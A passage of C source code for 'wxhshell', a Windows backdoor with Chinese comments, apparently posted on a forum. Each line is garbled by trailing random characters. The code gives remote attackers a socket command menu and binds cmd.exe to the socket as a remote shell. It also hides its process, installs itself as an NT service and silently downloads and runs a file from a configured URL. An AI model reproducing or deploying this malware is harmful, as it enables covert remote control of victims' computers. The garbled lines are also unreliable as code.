    switch(cmd[0]) { ?@7|Q/  
  ErUk>V  
  // 帮助 l<:)rg^,  
  case '?': { eFI9S.6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k-p7Y@`+a  
    break; (3HgI  
  } K0bmU(Xxp  
  // 安装 rAi!'vIE  
  case 'i': { &S`'o%B  
    if(Install()) :1Yd;%>92  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jfhDi6N  
    else jF2GHyB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YRX2^v ^[  
    break; |r!Qhb.!  
    } ;C@^wI  
  // 卸载 Y  .X-8  
  case 'r': { M> l+[U  
    if(Uninstall()) jT_Tx\k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yru}f;1  
    else n!,TBCNX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8M#%QoA  
    break; m(Xr5hw:6  
    } &_TjRj"  
  // 显示 wxhshell 所在路径 ~]s"PV:|  
  case 'p': { s~'C'B?  
    char svExeFile[MAX_PATH];  l3 Bc g  
    strcpy(svExeFile,"\n\r"); z+`)|c4-  
      strcat(svExeFile,ExeFile); [\y>&"uk  
        send(wsh,svExeFile,strlen(svExeFile),0); >TVd*S  
    break; &dMSX}t  
    } Z#t.wWSq  
  // 重启 246!\zf  
  case 'b': { mLdyt-1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eyp\h8!u_  
    if(Boot(REBOOT)) @Pg@ltUd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #8HXR3L5=!  
    else { >.sN?5}y  
    closesocket(wsh); ?v*7!2;  
    ExitThread(0); 4C*=8oe_  
    } Z4tq&^ :c=  
    break; Q/SC7R&"t  
    } 6R,b 8  
  // 关机 xVo)!83+Q  
  case 'd': { [Cr~gd+ q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8-#2?=  
    if(Boot(SHUTDOWN)) _A~gqOe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E^ti !4{<  
    else { \?I wR]@y  
    closesocket(wsh); \X p"I5  
    ExitThread(0); 8xz7S  
    } +=xRr?F  
    break; 69w"$V k  
    } [wxI X  
  // 获取shell ;'+cT.cmH  
  case 's': { L*Cf&c`8r  
    CmdShell(wsh); qf{B  
    closesocket(wsh); Z-V%lRQ=b  
    ExitThread(0); LR.+C xQ  
    break; )4C6+63OD&  
  } - C]a2  
  // 退出 ~#Mx&mZ  
  case 'x': { U~c;W@T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M)RQIl5  
    CloseIt(wsh); Q2PwO;E.`C  
    break; S}I=i>QB  
    } hS/'b$#  
  // 离开 1Ac1CsK*  
  case 'q': { g0$k_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f@g  
    closesocket(wsh); n#,l&Bx  
    WSACleanup(); CplRnKra  
    exit(1); i`s pM<iR.  
    break; SZ){1Hu  
        } pZn%g]nRD  
  } CT`X~y10  
  } 32/P(-  
cW%O-  
  // 提示信息 jg/<"/E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xz'd5 re%  
} <5^(l$IBj  
  } !d )i6W?  
?5gpk1  
  return; q,Q|Uvpk  
} h}_q  
{<n)zLy  
// shell模块句柄 N/=3Bs0y-  
int CmdShell(SOCKET sock) 1r4/McB  
{ S!cXc/H-R  
STARTUPINFO si; 1i2O]e!  
ZeroMemory(&si,sizeof(si)); jgIzB1H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3S?+G)qKo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %tLq&tyeY  
PROCESS_INFORMATION ProcessInfo; Jp0.h8i  
char cmdline[]="cmd"; jXR+>=_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <rF  
  return 0; 7mBL#T2   
} _ RYZyw   
`7ZJB$7D|*  
// 自身启动模式 Uc2#so$9  
int StartFromService(void) ';F][x5j  
{ z w9r0bG  
typedef struct {D#`+uw  
{ !}7m^  
  DWORD ExitStatus; YJ$ =`lIM  
  DWORD PebBaseAddress; -GjJrYOU  
  DWORD AffinityMask; @9a=D<'>  
  DWORD BasePriority; r1] e:  
  ULONG UniqueProcessId; $Plk4 o*g  
  ULONG InheritedFromUniqueProcessId; T(DE^E@a  
}   PROCESS_BASIC_INFORMATION; X;tk\Ixd  
>d\I*"C+d  
PROCNTQSIP NtQueryInformationProcess; VCO/s9AL  
P $S P4F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (#qVtN`t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tAUMSr|?  
dPId= w)  
  HANDLE             hProcess; {VG6m Hw  
  PROCESS_BASIC_INFORMATION pbi; 6np wu5!  
a$m?if=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %b9M\  
  if(NULL == hInst ) return 0; Viw3 /K  
=KLYR UW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QZol( 2~Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D.?gV_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '-=?lyKv  
I4'j_X t  
  if (!NtQueryInformationProcess) return 0; /Z_QCj  
75f.^4/%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "?SnA +)  
  if(!hProcess) return 0; |*i-Q @ D  
WW=7QC i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?|\Lm3%J  
h>?OWI  
  CloseHandle(hProcess); M;R>]wP"V  
Tx_ LH"8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Z_iQ1  
if(hProcess==NULL) return 0; Z/x~:u_  
5]E5V@C   
HMODULE hMod; ?$Pj[O^hl  
char procName[255]; ~m7+^c@,  
unsigned long cbNeeded; vNIQc "\-  
26A#X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R#>E{[9  
"5Mo%cUp  
  CloseHandle(hProcess); z~qQ@u|  
Qw:j2g2H7  
if(strstr(procName,"services")) return 1; // 以服务启动 KMV!Hqkk  
O9Aooe4W=  
  return 0; // 注册表启动 \=)h6AG  
} r+Y1m\  
x{E[qH_1Fm  
// 主模块 ln5On_Wm  
int StartWxhshell(LPSTR lpCmdLine) YQ/ *|  
{ z5I<,[`  
  SOCKET wsl; E2MpMR  
BOOL val=TRUE; V|= 1<v  
  int port=0; .;'xm_Gw<  
  struct sockaddr_in door; AO6;aT  
jo;n~>3P  
  if(wscfg.ws_autoins) Install(); /Q-!><riD  
PLD!BD  
port=atoi(lpCmdLine); )8;'fE[p}  
bHCd|4e,2  
if(port<=0) port=wscfg.ws_port; Vq\6c  
tyh%s"  
  WSADATA data; pyKMi /)bL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j^gF~ Wz^  
LHp s2,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F3q5!1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LPC7Bdjz  
  door.sin_family = AF_INET; J0IK =Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A.[T#ZB.4  
  door.sin_port = htons(port); =LRUasF  
{q^KlSjm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DQSv'!KFO  
closesocket(wsl); (&S v $L@  
return 1; WKG=d]5  
} -}%zus5  
 Po5}Vh  
  if(listen(wsl,2) == INVALID_SOCKET) { j[9 B,C4  
closesocket(wsl); wP%;9y2B  
return 1; <:?&}'aA  
} X*T9`]l6  
  Wxhshell(wsl); &("?6%GC  
  WSACleanup(); &7 ,wdG  
T*oH tpFj#  
return 0; aD4ln]sFxG  
#r1x0s40D  
} gU`QW_{  
9} vWTt0  
// 以NT服务方式启动 q9OIw1xQr*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k@w&$M{tPF  
{ E^g6,Y:i9  
DWORD   status = 0; #\}hN~@F  
  DWORD   specificError = 0xfffffff; tQ/U'Ap&  
er53?z7zP.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t/3veDh@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "783F:mPh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C oaqi`v4T  
  serviceStatus.dwWin32ExitCode     = 0; 2dC)%]aLme  
  serviceStatus.dwServiceSpecificExitCode = 0; |k8;[+  
  serviceStatus.dwCheckPoint       = 0; ?mV[TM{p  
  serviceStatus.dwWaitHint       = 0; |A2.W8`o  
vjHbg#0%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pH4i6B*5  
  if (hServiceStatusHandle==0) return; q+K`+& @\  
M?,;TJ7Gd  
status = GetLastError(); ;,viE~n  
  if (status!=NO_ERROR) :A[ Gtc(_  
{ ( nBsf1l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zmdOL9"a  
    serviceStatus.dwCheckPoint       = 0; .8"o&%$`V  
    serviceStatus.dwWaitHint       = 0; {S|uQgs6j  
    serviceStatus.dwWin32ExitCode     = status; XLtuck  
    serviceStatus.dwServiceSpecificExitCode = specificError; sx22|j`)V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6)W9/V-W  
    return; o*<(,I%  
  } {vaq,2_w  
X3nwA#If1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U<*dDE~z  
  serviceStatus.dwCheckPoint       = 0; *@O;IiSE  
  serviceStatus.dwWaitHint       = 0; 9qw~]W~Nm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^!A{ 4NV  
} }Iu6]?|'  
}RD,JgmV  
// 处理NT服务事件,比如:启动、停止 6:e0?R^aD"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NWKD:{  
{ 1r;Q5[@  
switch(fdwControl) 46mu,v  
{  "d A"N$  
case SERVICE_CONTROL_STOP: &oT]ycz%  
  serviceStatus.dwWin32ExitCode = 0; tvd/Y|bV=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )&*&ZL0  
  serviceStatus.dwCheckPoint   = 0; Jap v<lV%  
  serviceStatus.dwWaitHint     = 0; $hA[vi\5  
  { Qc6323/"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ P 8e=;  
  } a+ ]@$8+  
  return; hRME;/r]X  
case SERVICE_CONTROL_PAUSE: }@x0@sI9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o<x2,uT  
  break; p}C3<[Nk  
case SERVICE_CONTROL_CONTINUE: RlpW)\{j?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vwP83b0ov"  
  break; l!GAMK 6o  
case SERVICE_CONTROL_INTERROGATE: b6#V0bDXHD  
  break; C<{k[!N%zm  
}; &ed.%:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P*\.dAi  
} }APf^Ry  
f9; M"Pd  
// 标准应用程序主函数 A6-JV8^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `>K;S!z  
{ T;I a;<mfE  
T,k`WR  
// 获取操作系统版本 (;!&RZ  
OsIsNt=GetOsVer(); yXl zImPn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'GAjx{gM  
,KZ_#9[>  
  // 从命令行安装 @*F NWT6  
  if(strpbrk(lpCmdLine,"iI")) Install(); `?~pk)<C].  
9HWtdJ+^C=  
  // 下载执行文件 'DVPx%p  
if(wscfg.ws_downexe) { ~~>D=~B0'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >YD? pDPb/  
  WinExec(wscfg.ws_filenam,SW_HIDE); " MlY G6  
} ,*Sj7qb#  
Zpg$:Rr  
if(!OsIsNt) { 75gE>:f  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dk/;`sXV  
HideProc(); 7 v#sr<  
StartWxhshell(lpCmdLine); BsR xD9r  
} 'r3I/qg*m  
else zxXm9zrLo  
  if(StartFromService()) "`16-g97  
  // 以服务方式启动 ]>&au8  
  StartServiceCtrlDispatcher(DispatchTable); Rs7=v2>I  
else &d=j_9   
  // 普通方式启动 YMC*<wXN  
  StartWxhshell(lpCmdLine); 5v8_ji#l[  
|_Z(}% <o  
return 0; MH1??vW  
}
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只看该作者 1 发表于: 2006-10-10
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